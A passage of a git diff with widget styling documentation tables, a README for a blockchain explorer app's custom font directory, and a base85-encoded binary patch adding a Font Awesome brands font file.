ratio, set either resizedWidth or resizedHeight, but not both. This setting is not supported on Web. | +| resizedHeight | integer | Images will be automatically resized (default to 800 width with no height set) before rendering. If you know the rough image height, set this number to be the same or a slightly larger height to optimize the loading time. To maintain the original aspect ratio, set either resizedWidth or resizedHeight, but not both. This setting is not supported on Web. | +| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| placeholderColor | integer or string | The placeholder color while the image is loading `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| colorFilter | object | Applies color filter to the image. | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :---------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :------- | :----- | :---------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| --------- | --------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | diff --git a/pages/widgets/_snippets/public/fonts/README.md b/pages/widgets/_snippets/public/fonts/README.md new file mode 100644 index 0000000..1fb874b --- /dev/null +++ b/pages/widgets/_snippets/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/pages/widgets/_snippets/public/fonts/fa-brands-400.eot b/pages/widgets/_snippets/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000000000000000000000000000000000000..a1bc094ab14d8c7d84d8c59aa511de9e69440d0a GIT binary patch literal 133034 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℘oIO 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 |xk~oikk&D!xjeU;p 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 